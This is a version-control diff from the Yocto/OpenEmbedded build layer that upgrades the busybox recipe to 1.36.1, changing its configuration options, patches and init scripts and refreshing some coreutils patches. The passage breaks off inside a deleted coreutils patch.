@@ -815,20 +835,24 @@ CONFIG_MICROCOM=y
CONFIG_RFKILL=y
# CONFIG_RUNLEVEL is not set
# CONFIG_RX is not set
+# CONFIG_SEEDRNG is not set
# CONFIG_SETFATTR is not set
# CONFIG_SETSERIAL is not set
CONFIG_STRINGS=y
CONFIG_TIME=y
+# CONFIG_TREE is not set
+CONFIG_TS=y
# CONFIG_TTYSIZE is not set
-# CONFIG_UBIRENAME is not set
# CONFIG_UBIATTACH is not set
# CONFIG_UBIDETACH is not set
# CONFIG_UBIMKVOL is not set
# CONFIG_UBIRMVOL is not set
# CONFIG_UBIRSVOL is not set
# CONFIG_UBIUPDATEVOL is not set
+# CONFIG_UBIRENAME is not set
# CONFIG_VOLNAME is not set
# CONFIG_WATCHDOG is not set
+# CONFIG_FEATURE_WATCHDOG_OPEN_TWICE is not set
#
# Networking Utilities
@@ -837,6 +861,9 @@ CONFIG_FEATURE_IPV6=y
# CONFIG_FEATURE_UNIX_LOCAL is not set
CONFIG_FEATURE_PREFER_IPV4_ADDRESS=y
# CONFIG_VERBOSE_RESOLUTION_ERRORS is not set
+# CONFIG_FEATURE_ETC_NETWORKS is not set
+# CONFIG_FEATURE_ETC_SERVICES is not set
+CONFIG_FEATURE_HWIB=y
# CONFIG_FEATURE_TLS_SHA1 is not set
# CONFIG_ARP is not set
# CONFIG_ARPING is not set
@@ -866,6 +893,10 @@ CONFIG_DNSDOMAINNAME=y
# CONFIG_FEATURE_HTTPD_ERROR_PAGES is not set
# CONFIG_FEATURE_HTTPD_PROXY is not set
# CONFIG_FEATURE_HTTPD_GZIP is not set
+# CONFIG_FEATURE_HTTPD_ETAG is not set
+# CONFIG_FEATURE_HTTPD_LAST_MODIFIED is not set
+# CONFIG_FEATURE_HTTPD_DATE is not set
+# CONFIG_FEATURE_HTTPD_ACL_IP is not set
CONFIG_IFCONFIG=y
CONFIG_FEATURE_IFCONFIG_STATUS=y
# CONFIG_FEATURE_IFCONFIG_SLIP is not set
@@ -946,6 +977,7 @@ CONFIG_FEATURE_TELNET_WIDTH=y
# CONFIG_FEATURE_TELNETD_INETD_WAIT is not set
CONFIG_TFTP=y
# CONFIG_FEATURE_TFTP_PROGRESS_BAR is not set
+CONFIG_FEATURE_TFTP_HPA_COMPAT=y
# CONFIG_TFTPD is not set
CONFIG_FEATURE_TFTP_GET=y
CONFIG_FEATURE_TFTP_PUT=y
@@ -962,6 +994,7 @@ CONFIG_TRACEROUTE=y
CONFIG_WGET=y
CONFIG_FEATURE_WGET_LONG_OPTIONS=y
CONFIG_FEATURE_WGET_STATUSBAR=y
+CONFIG_FEATURE_WGET_FTP=y
CONFIG_FEATURE_WGET_AUTHENTICATION=y
CONFIG_FEATURE_WGET_TIMEOUT=y
CONFIG_FEATURE_WGET_HTTPS=y
@@ -990,6 +1023,7 @@ CONFIG_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script"
# CONFIG_FEATURE_UDHCP_PORT is not set
CONFIG_UDHCP_DEBUG=0
CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80
+CONFIG_FEATURE_UDHCP_RFC3397=y
# CONFIG_FEATURE_UDHCP_8021Q is not set
CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -b"
@@ -1003,17 +1037,19 @@ CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -b"
#
# Mail Utilities
#
+CONFIG_FEATURE_MIME_CHARSET=""
# CONFIG_MAKEMIME is not set
# CONFIG_POPMAILDIR is not set
# CONFIG_FEATURE_POPMAILDIR_DELIVERY is not set
# CONFIG_REFORMIME is not set
# CONFIG_FEATURE_REFORMIME_COMPAT is not set
# CONFIG_SENDMAIL is not set
-CONFIG_FEATURE_MIME_CHARSET=""
#
# Process Utilities
#
+CONFIG_FEATURE_FAST_TOP=y
+# CONFIG_FEATURE_SHOW_THREADS is not set
CONFIG_FREE=y
CONFIG_FUSER=y
# CONFIG_IOSTAT is not set
@@ -1023,7 +1059,7 @@ CONFIG_KILLALL=y
# CONFIG_LSOF is not set
# CONFIG_MPSTAT is not set
# CONFIG_NMETER is not set
-# CONFIG_PGREP is not set
+CONFIG_PGREP=y
# CONFIG_PKILL is not set
CONFIG_PIDOF=y
# CONFIG_FEATURE_PIDOF_SINGLE is not set
@@ -1052,7 +1088,6 @@ CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y
CONFIG_UPTIME=y
# CONFIG_FEATURE_UPTIME_UTMP_SUPPORT is not set
CONFIG_WATCH=y
-# CONFIG_FEATURE_SHOW_THREADS is not set
#
# Runit Utilities
@@ -1093,6 +1128,7 @@ CONFIG_SH_IS_ASH=y
# CONFIG_BASH_IS_ASH is not set
# CONFIG_BASH_IS_HUSH is not set
CONFIG_BASH_IS_NONE=y
+CONFIG_SHELL_ASH=y
CONFIG_ASH=y
CONFIG_ASH_OPTIMIZE_FOR_SIZE=y
CONFIG_ASH_INTERNAL_GLOB=y
@@ -1113,10 +1149,11 @@ CONFIG_ASH_GETOPTS=y
CONFIG_ASH_CMDCMD=y
# CONFIG_CTTYHACK is not set
# CONFIG_HUSH is not set
+# CONFIG_SHELL_HUSH is not set
# CONFIG_HUSH_BASH_COMPAT is not set
# CONFIG_HUSH_BRACE_EXPANSION is not set
-# CONFIG_HUSH_LINENO_VAR is not set
# CONFIG_HUSH_BASH_SOURCE_CURDIR is not set
+# CONFIG_HUSH_LINENO_VAR is not set
# CONFIG_HUSH_INTERACTIVE is not set
# CONFIG_HUSH_SAVEHISTORY is not set
# CONFIG_HUSH_JOB is not set
@@ -1153,7 +1190,8 @@ CONFIG_ASH_CMDCMD=y
# Options common to all shells
#
CONFIG_FEATURE_SH_MATH=y
-# CONFIG_FEATURE_SH_MATH_64 is not set
+CONFIG_FEATURE_SH_MATH_64=y
+CONFIG_FEATURE_SH_MATH_BASE=y
CONFIG_FEATURE_SH_EXTRA_QUIET=y
# CONFIG_FEATURE_SH_STANDALONE is not set
# CONFIG_FEATURE_SH_NOFORK is not set
@@ -1171,14 +1209,15 @@ CONFIG_KLOGD=y
#
CONFIG_FEATURE_KLOGD_KLOGCTL=y
CONFIG_LOGGER=y
-# CONFIG_LOGREAD is not set
-# CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING is not set
-# CONFIG_SYSLOGD is not set
-# CONFIG_FEATURE_ROTATE_LOGFILE is not set
-# CONFIG_FEATURE_REMOTE_LOG is not set
-# CONFIG_FEATURE_SYSLOGD_DUP is not set
-# CONFIG_FEATURE_SYSLOGD_CFG is not set
-CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=0
-# CONFIG_FEATURE_IPC_SYSLOG is not set
-CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=0
-# CONFIG_FEATURE_KMSG_SYSLOG is not set
+CONFIG_LOGREAD=y
+CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y
+CONFIG_SYSLOGD=y
+CONFIG_FEATURE_ROTATE_LOGFILE=y
+CONFIG_FEATURE_REMOTE_LOG=y
+CONFIG_FEATURE_SYSLOGD_DUP=y
+CONFIG_FEATURE_SYSLOGD_CFG=y
+# CONFIG_FEATURE_SYSLOGD_PRECISE_TIMESTAMPS is not set
+CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256
+CONFIG_FEATURE_IPC_SYSLOG=y
+CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=64
+CONFIG_FEATURE_KMSG_SYSLOG=y
diff --git a/meta/recipes-core/busybox/busybox/fail_on_no_media.patch b/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
index 820acc2684..38db52538e 100644
--- a/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
+++ b/meta/recipes-core/busybox/busybox/fail_on_no_media.patch
@@ -1,3 +1,8 @@
+From a35e79002d36cca3c272ba5625aec86d6b7a38a8 Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Tue, 9 Apr 2013 23:25:54 -0700
+Subject: [PATCH] busybox: fail on no media
+
Upstream-Status: Denied
[https://www.mail-archive.com/busybox@busybox.net/msg22354.html]
@@ -10,16 +15,18 @@ removed, but that would be harder to accomplish.
Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ util-linux/mount.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
-Index: busybox-1.20.2/util-linux/mount.c
-===================================================================
---- busybox-1.20.2.orig/util-linux/mount.c
-+++ busybox-1.20.2/util-linux/mount.c
-@@ -598,7 +598,13 @@ static int mount_it_now(struct mntent *m
- break;
+diff --git a/util-linux/mount.c b/util-linux/mount.c
+index 4e65b6b..9d7a566 100644
+--- a/util-linux/mount.c
++++ b/util-linux/mount.c
+@@ -746,6 +746,14 @@ static int mount_it_now(struct mntent *mp, unsigned long vfsflags, char *filtero
errno = errno_save;
}
--
+
+ /*
+ * Break if there is no media, no point retrying for all
+ * fs types since there is no media available
@@ -27,6 +34,7 @@ Index: busybox-1.20.2/util-linux/mount.c
+ if (rc == -1 && errno == ENOMEDIUM) {
+ bb_perror_msg_and_die("mounting %s on %s failed", mp->mnt_fsname, mp->mnt_dir);
+ }
- if (!rc || (vfsflags & MS_RDONLY) || (errno != EACCES && errno != EROFS))
- break;
- if (!(vfsflags & MS_SILENT))
++
+ // Should we retry read-only mount?
+ if (vfsflags & MS_RDONLY)
+ break; // no, already was tried
diff --git a/meta/recipes-core/busybox/busybox/longopts.cfg b/meta/recipes-core/busybox/busybox/longopts.cfg
new file mode 100644
index 0000000000..dcfab99919
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/longopts.cfg
@@ -0,0 +1,15 @@
+CONFIG_FEATURE_GUNZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_GZIP_LONG_OPTIONS=y
+CONFIG_FEATURE_TAR_LONG_OPTIONS=y
+CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y
+CONFIG_FEATURE_CP_LONG_OPTIONS=y
+CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y
+CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y
+CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y
+CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y
+CONFIG_FEATURE_DIFF_LONG_OPTIONS=y
+CONFIG_FEATURE_BC_LONG_OPTIONS=y
+CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS=y
+CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y
+CONFIG_FEATURE_NSLOOKUP_LONG_OPTIONS=y
+CONFIG_FEATURE_WGET_LONG_OPTIONS=y
diff --git a/meta/recipes-core/busybox/busybox/mdev.cfg b/meta/recipes-core/busybox/busybox/mdev.cfg
index 6aefe90e43..143e6097cb 100644
--- a/meta/recipes-core/busybox/busybox/mdev.cfg
+++ b/meta/recipes-core/busybox/busybox/mdev.cfg
@@ -9,3 +9,5 @@ CONFIG_SETSID=y
CONFIG_CTTYHACK=y
CONFIG_FEATURE_SHADOWPASSWDS=y
+CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y
+CONFIG_FEATURE_MDEV_DAEMON=y
diff --git a/meta/recipes-core/busybox/busybox/mount-via-label.cfg b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
index 2fe7ab2e5f..5a285de7cd 100644
--- a/meta/recipes-core/busybox/busybox/mount-via-label.cfg
+++ b/meta/recipes-core/busybox/busybox/mount-via-label.cfg
@@ -1,9 +1,11 @@
CONFIG_BLKID=y
CONFIG_FEATURE_BLKID_TYPE=y
CONFIG_FEATURE_MOUNT_LABEL=y
+CONFIG_FEATURE_SWAPONOFF_LABEL=y
CONFIG_VOLUMEID=y
CONFIG_FEATURE_VOLUMEID_BTRFS=y
CONFIG_FEATURE_VOLUMEID_EXT=y
CONFIG_FEATURE_VOLUMEID_F2FS=y
CONFIG_FEATURE_VOLUMEID_FAT=y
CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
+CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y
diff --git a/meta/recipes-core/busybox/busybox/musl.cfg b/meta/recipes-core/busybox/busybox/musl.cfg
index 6fffc91098..ba63def1ba 100644
--- a/meta/recipes-core/busybox/busybox/musl.cfg
+++ b/meta/recipes-core/busybox/busybox/musl.cfg
@@ -7,5 +7,4 @@
# CONFIG_FEATURE_INETD_RPC is not set
# CONFIG_SELINUXENABLED is not set
# CONFIG_FEATURE_MOUNT_NFS is not set
-# CONFIG_FEATURE_UTMP is not set
diff --git a/meta/recipes-core/busybox/busybox/pgrep.cfg b/meta/recipes-core/busybox/busybox/pgrep.cfg
new file mode 100644
index 0000000000..775e487d60
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/pgrep.cfg
@@ -0,0 +1 @@
+CONFIG_PGREP=y
diff --git a/meta/recipes-core/busybox/busybox/recognize_connmand.patch b/meta/recipes-core/busybox/busybox/recognize_connmand.patch
index f42c74caad..4f28beb556 100644
--- a/meta/recipes-core/busybox/busybox/recognize_connmand.patch
+++ b/meta/recipes-core/busybox/busybox/recognize_connmand.patch
@@ -4,14 +4,14 @@ Upstream-Status: Inappropriate [OE-Core]
Signed-off-by: Saul Wold <sgw@linux.intel.com>
-Index: busybox-1.22.1/networking/ifupdown.c
+Index: busybox-1.36.0/networking/ifupdown.c
===================================================================
---- busybox-1.22.1.orig/networking/ifupdown.c
-+++ busybox-1.22.1/networking/ifupdown.c
-@@ -521,6 +521,10 @@ struct dhcp_client_t {
+--- busybox-1.36.0.orig/networking/ifupdown.c
++++ busybox-1.36.0/networking/ifupdown.c
+@@ -628,6 +628,10 @@ struct dhcp_client_t {
};
- static const struct dhcp_client_t ext_dhcp_clients[] = {
+ static const struct dhcp_client_t ext_dhcp_clients[] ALIGN_PTR = {
+ { "connmand",
+ "true",
+ "true",
diff --git a/meta/recipes-core/busybox/busybox/rev.cfg b/meta/recipes-core/busybox/busybox/rev.cfg
new file mode 100644
index 0000000000..da008c30cd
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/rev.cfg
@@ -0,0 +1 @@
+CONFIG_REV=y
diff --git a/meta/recipes-core/busybox/busybox/sha1sum.cfg b/meta/recipes-core/busybox/busybox/sha1sum.cfg
index 20e72d9263..afd4da4ea1 100644
--- a/meta/recipes-core/busybox/busybox/sha1sum.cfg
+++ b/meta/recipes-core/busybox/busybox/sha1sum.cfg
@@ -1 +1,2 @@
CONFIG_SHA1SUM=y
+CONFIG_SHA1_SMALL=3
diff --git a/meta/recipes-core/busybox/busybox/sha_accel.cfg b/meta/recipes-core/busybox/busybox/sha_accel.cfg
new file mode 100644
index 0000000000..8900305a11
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/sha_accel.cfg
@@ -0,0 +1,2 @@
+# CONFIG_SHA256_HWACCEL is not set
+# CONFIG_SHA1_HWACCEL is not set
diff --git a/meta/recipes-core/busybox/busybox/start-stop-false.patch b/meta/recipes-core/busybox/busybox/start-stop-false.patch
new file mode 100644
index 0000000000..3aef68329c
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/start-stop-false.patch
@@ -0,0 +1,35 @@
+It's known that the final start-stop-daemon test fails if /bin/false is
+actually a busybox symlink. Instead of failing, check if false is
+busybox and adapt the expected output to match.
+
+Upstream-Status: Submitted [http://lists.busybox.net/pipermail/busybox/2023-August/090416.html]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/testsuite/start-stop-daemon.tests b/testsuite/start-stop-daemon.tests
+index 0757b1288..aa6e9cc41 100755
+--- a/testsuite/start-stop-daemon.tests
++++ b/testsuite/start-stop-daemon.tests
+@@ -27,10 +27,18 @@ testing "start-stop-daemon without -x and -a" \
+ # but at least it checks that pathname to exec() is correct
+ #
+ # NB: this fails if /bin/false is a busybox symlink:
+-# busybox looks at argv[0] and says "qwerty: applet not found"
+-testing "start-stop-daemon with both -x and -a" \
+- 'start-stop-daemon -S -x /bin/false -a qwerty false 2>&1; echo $?' \
+- "1\n" \
+- "" ""
++# busybox looks at argv[0] and says "qwerty: applet not found", so
++# skip the test if false is busybox.
++case $(readlink /bin/false) in
++ *busybox*)
++ echo "SKIPPED: start-stop-daemon with both -x and -a (need non-busybox false)"
++ ;;
++ *)
++ testing "start-stop-daemon with both -x and -a" \
++ 'start-stop-daemon -S -x /bin/false -a qwerty false 2>&1; echo $?' \
++ "1\n" \
++ "" ""
++ ;;
++esac
+
+ exit $FAILCOUNT
diff --git a/meta/recipes-core/busybox/busybox_1.32.0.bb b/meta/recipes-core/busybox/busybox_1.32.0.bb
deleted file mode 100644
index aeea40fbc1..0000000000
--- a/meta/recipes-core/busybox/busybox_1.32.0.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-require busybox.inc
-
-SRC_URI = "https://busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
- file://busybox-udhcpc-no_deconfig.patch \
- file://find-touchscreen.sh \
- file://busybox-cron \
- file://busybox-httpd \
- file://busybox-udhcpd \
- file://default.script \
- file://simple.script \
- file://hwclock.sh \
- file://syslog \
- file://syslog-startup.conf \
- file://syslog.conf \
- file://busybox-syslog.default \
- file://mdev \
- file://mdev.conf \
- file://mdev-mount.sh \
- file://defconfig \
- file://busybox-syslog.service.in \
- file://busybox-klogd.service.in \
- file://fail_on_no_media.patch \
- file://run-ptest \
- file://inetd.conf \
- file://inetd \
- file://login-utilities.cfg \
- file://recognize_connmand.patch \
- file://busybox-cross-menuconfig.patch \
- file://0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch \
- file://mount-via-label.cfg \
- file://sha1sum.cfg \
- file://sha256sum.cfg \
- file://getopts.cfg \
- file://resize.cfg \
- ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
- ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
- file://syslog.cfg \
- file://unicode.cfg \
- file://rcS \
- file://rcK \
- file://makefile-libbb-race.patch \
- file://0001-testsuite-check-uudecode-before-using-it.patch \
- file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
- file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
- file://0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch \
- file://0001-hwclock-make-glibc-2.31-compatible.patch \
-"
-SRC_URI_append_libc-musl = " file://musl.cfg "
-
-SRC_URI[tarball.md5sum] = "9576986f1a960da471d03b72a62f13c7"
-SRC_URI[tarball.sha256sum] = "c35d87f1d04b2b153d33c275c2632e40d388a88f19a9e71727e0bbbff51fe689"
diff --git a/meta/recipes-core/busybox/busybox_1.36.1.bb b/meta/recipes-core/busybox/busybox_1.36.1.bb
new file mode 100644
index 0000000000..06eb9eb999
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox_1.36.1.bb
@@ -0,0 +1,57 @@
+require busybox.inc
+
+SRC_URI = "https://busybox.net/downloads/busybox-${PV}.tar.bz2;name=tarball \
+ file://0001-depmod-Ignore-.debug-directories.patch \
+ file://busybox-udhcpc-no_deconfig.patch \
+ file://find-touchscreen.sh \
+ file://busybox-cron \
+ file://busybox-httpd \
+ file://busybox-udhcpd \
+ file://default.script \
+ file://simple.script \
+ file://hwclock.sh \
+ file://syslog \
+ file://syslog-startup.conf \
+ file://syslog.conf \
+ file://busybox-syslog.default \
+ file://mdev \
+ file://mdev.conf \
+ file://mdev-mount.sh \
+ file://defconfig \
+ file://busybox-syslog.service.in \
+ file://busybox-klogd.service.in \
+ file://fail_on_no_media.patch \
+ file://run-ptest \
+ file://inetd.conf \
+ file://inetd \
+ file://login-utilities.cfg \
+ file://recognize_connmand.patch \
+ file://busybox-cross-menuconfig.patch \
+ file://mount-via-label.cfg \
+ file://sha1sum.cfg \
+ file://sha256sum.cfg \
+ file://getopts.cfg \
+ file://longopts.cfg \
+ file://resize.cfg \
+ ${@["", "file://init.cfg"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://rcS.default"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]} \
+ ${@["", "file://mdev.cfg"][(d.getVar('VIRTUAL-RUNTIME_dev_manager') == 'busybox-mdev')]} \
+ file://syslog.cfg \
+ file://unicode.cfg \
+ file://rev.cfg \
+ file://pgrep.cfg \
+ file://rcS \
+ file://rcK \
+ file://makefile-libbb-race.patch \
+ file://0001-testsuite-check-uudecode-before-using-it.patch \
+ file://0001-testsuite-use-www.example.org-for-wget-test-cases.patch \
+ file://0001-du-l-works-fix-to-use-145-instead-of-144.patch \
+ file://0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch \
+ file://0001-libbb-sockaddr2str-ensure-only-printable-characters-.patch \
+ file://0002-nslookup-sanitize-all-printed-strings-with-printable.patch \
+ file://start-stop-false.patch \
+ "
+SRC_URI:append:libc-musl = " file://musl.cfg "
+# TODO http://lists.busybox.net/pipermail/busybox/2023-January/090078.html
+SRC_URI:append:x86 = " file://sha_accel.cfg"
+SRC_URI[tarball.sha256sum] = "b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314"
diff --git a/meta/recipes-core/busybox/files/mdev b/meta/recipes-core/busybox/files/mdev
index 8c9c06e96c..2fbdfb073e 100755
--- a/meta/recipes-core/busybox/files/mdev
+++ b/meta/recipes-core/busybox/files/mdev
@@ -1,21 +1,43 @@
#!/bin/sh
-mount -t proc proc /proc
-mount -t sysfs sysfs /sys
-mount -t tmpfs tmpfs /dev -o size=64k,mode=0755
-mkdir /dev/pts /dev/shm
-chmod 777 /dev/shm
-mount -t devpts devpts /dev/pts
-touch /dev/mdev.seq
-#sysctl -w kernel.hotplug=/sbin/mdev
-echo "/sbin/mdev" > /proc/sys/kernel/hotplug
-mdev -s
-
#
-# We might have mounted something over /dev, see if /dev/initctl is there.
+# Run the mdev daemon
#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
-fi
+
+DAEMON="mdev"
+PIDFILE="/var/run/$DAEMON.pid"
+
+
+start() {
+ echo -n "Starting $DAEMON... "
+ start-stop-daemon -S -b -m -p $PIDFILE -x /sbin/mdev -- -df
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+
+ # coldplug modules
+ find /sys/ -name modalias -print0 | \
+ xargs -0 sort -u | \
+ tr '\n' '\0' | \
+ xargs -0 modprobe -abq
+}
+
+stop() {
+ echo -n "Stopping $DAEMON... "
+ start-stop-daemon -K -p $PIDFILE
+ [ $? -eq 0 ] && echo "OK" || echo "ERROR"
+}
+
+restart() {
+ stop
+ start
+}
+
+case "$1" in
+ start|stop|restart)
+ "$1"
+ ;;
+ *)
+ echo "Usage: $0 {start|stop|restart}"
+ exit 1
+esac
+
+exit $?
diff --git a/meta/recipes-core/busybox/files/rcS.default b/meta/recipes-core/busybox/files/rcS.default
new file mode 100644
index 0000000000..44c9747e34
--- /dev/null
+++ b/meta/recipes-core/busybox/files/rcS.default
@@ -0,0 +1,31 @@
+#
+# Defaults for the boot scripts in /etc/rcS.d
+#
+
+# Time files in /tmp are kept in days.
+TMPTIME=0
+# Set to yes if you want sulogin to be spawned on bootup
+SULOGIN=no
+# Set to no if you want to be able to login over telnet/rlogin
+# before system startup is complete (as soon as inetd is started)
+DELAYLOGIN=no
+# Assume that the BIOS clock is set to UTC time (recommended)
+UTC=yes
+# Set VERBOSE to "no" if you would like a more quiet bootup.
+VERBOSE=no
+# Set EDITMOTD to "no" if you don't want /etc/motd to be edited automatically
+EDITMOTD=no
+# Whether to fsck root on boot
+ENABLE_ROOTFS_FSCK=no
+# Set FSCKFIX to "yes" if you want to add "-y" to the fsck at startup.
+FSCKFIX=yes
+# Set TICKADJ to the correct tick value for this specific machine
+#TICKADJ=10000
+# Enable caching in populate-volatile.sh
+VOLATILE_ENABLE_CACHE=yes
+# Indicate whether the rootfs is intended to be read-only or not.
+# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
+# Normally you should not change this value.
+ROOTFS_READ_ONLY=no
+# Indicate init system type
+INIT_SYSTEM=busybox
diff --git a/meta/recipes-core/busybox/files/syslog b/meta/recipes-core/busybox/files/syslog
index 2208613e8c..a4fea30ab7 100644
--- a/meta/recipes-core/busybox/files/syslog
+++ b/meta/recipes-core/busybox/files/syslog
@@ -10,6 +10,8 @@
set -e
+PATH="/bin:/usr/bin:/sbin:/usr/sbin"
+
if [ -f /etc/syslog-startup.conf ]; then
. /etc/syslog-startup.conf
LOG_LOCAL=0
diff --git a/meta/recipes-core/coreutils/coreutils/0001-local.mk-fix-cross-compiling-problem.patch b/meta/recipes-core/coreutils/coreutils/0001-local.mk-fix-cross-compiling-problem.patch
index 66f9a716c9..97a6357ab9 100644
--- a/meta/recipes-core/coreutils/coreutils/0001-local.mk-fix-cross-compiling-problem.patch
+++ b/meta/recipes-core/coreutils/coreutils/0001-local.mk-fix-cross-compiling-problem.patch
@@ -1,4 +1,7 @@
-Subject: local.mk: fix cross compiling problem
+From 7cb2d20cfa2a27191255031d231cd41917dcffe8 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 26 Dec 2016 16:10:35 +0800
+Subject: [PATCH] local.mk: fix cross compiling problem
We meet the following error when cross compiling.
| Makefile:3418: *** Recursive variable 'INSTALL' references itself (eventually). Stop.
@@ -12,15 +15,12 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/local.mk b/src/local.mk
-index 36dfa4e..c5898cc 100644
+index 96ee941..cdd47d6 100644
--- a/src/local.mk
+++ b/src/local.mk
-@@ -649,4 +649,4 @@ cu_install_program = @INSTALL_PROGRAM@
+@@ -704,4 +704,4 @@ cu_install_program = @INSTALL@
else
cu_install_program = src/ginstall
endif
-INSTALL = $(cu_install_program) -c
+INSTALL_PROGRAM = $(cu_install_program)
---
-2.1.0
-
diff --git a/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch b/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch
deleted file mode 100644
index fa900e3a76..0000000000
--- a/meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 7c273e5c6041f8c70f73f5b280fbb8f27d9b5a36 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Thu, 5 Mar 2020 17:25:29 -0800
-Subject: [PATCH] ls: restore 8.31 behavior on removed directories
-
-* NEWS: Mention this.
-* src/ls.c: Do not include <sys/sycall.h>
-(print_dir): Don't worry about whether the directory is removed.
-* tests/ls/removed-directory.sh: Adjust to match new (i.e., old)
-behavior.
-
-Upstream-Status: Backport [https://github.com/coreutils/coreutils/commit/10fcb97bd728f09d4a027eddf8ad2900f0819b0a]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/ls.c | 22 ----------------------
- tests/ls/removed-directory.sh | 10 ++--------
- 2 files changed, 2 insertions(+), 30 deletions(-)
-
-diff --git a/src/ls.c b/src/ls.c
-index 637fe7a..0111f49 100644
---- a/src/ls.c
-+++ b/src/ls.c
-@@ -49,10 +49,6 @@
- # include <sys/ptem.h>
- #endif
-
--#ifdef __linux__
--# include <sys/syscall.h>
--#endif
--
- #include <stdio.h>
- #include <assert.h>
- #include <setjmp.h>
-@@ -2895,7 +2891,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- struct dirent *next;
- uintmax_t total_blocks = 0;
- static bool first = true;
-- bool found_any_entries = false;
-
- errno = 0;
- dirp = opendir (name);
-@@ -2971,7 +2966,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- next = readdir (dirp);
- if (next)
- {
-- found_any_entries = true;
- if (! file_ignored (next->d_name))
- {
- enum filetype type = unknown;
-@@ -3017,22 +3011,6 @@ print_dir (char const *name, char const *realname, bool command_line_arg)
- if (errno != EOVERFLOW)
- break;
- }
--#ifdef __linux__
-- else if (! found_any_entries)
-- {
-- /* If readdir finds no directory entries at all, not even "." or
-- "..", then double check that the directory exists. */
-- if (syscall (SYS_getdents, dirfd (dirp), NULL, 0) == -1
-- && errno != EINVAL)
-- {
-- /* We exclude EINVAL as that pertains to buffer handling,
-- and we've passed NULL as the buffer for simplicity.
-- ENOENT is returned if appropriate before buffer handling. */
-- file_failure (command_line_arg, _("reading directory %s"), name);
-- }
-- break;
-- }
--#endif
- else
- break;
-
-diff --git a/tests/ls/removed-directory.sh b/tests/ls/removed-directory.sh
-index e8c835d..fe8f929 100755
---- a/tests/ls/removed-directory.sh
-+++ b/tests/ls/removed-directory.sh
-@@ -26,20 +26,14 @@ case $host_triplet in
- *) skip_ 'non linux kernel' ;;
- esac
-
--LS_FAILURE=2
--
--cat <<\EOF >exp-err || framework_failure_
--ls: reading directory '.': No such file or directory
--EOF
--
- cwd=$(pwd)
- mkdir d || framework_failure_
- cd d || framework_failure_
- rmdir ../d || framework_failure_
-
--returns_ $LS_FAILURE ls >../out 2>../err || fail=1
-+ls >../out 2>../err || fail=1
- cd "$cwd" || framework_failure_
- compare /dev/null out || fail=1
--compare exp-err err || fail=1
-+compare /dev/null err || fail=1
-
- Exit $fail
diff --git a/meta/recipes-core/coreutils/coreutils/0001-uname-report-processor-and-hardware-correctly.patch b/meta/recipes-core/coreutils/coreutils/0001-uname-report-processor-and-hardware-correctly.patch
deleted file mode 100644
index 3c43e1d5da..0000000000
--- a/meta/recipes-core/coreutils/coreutils/0001-uname-report-processor-and-hardware-correctly.patch
+++ /dev/null
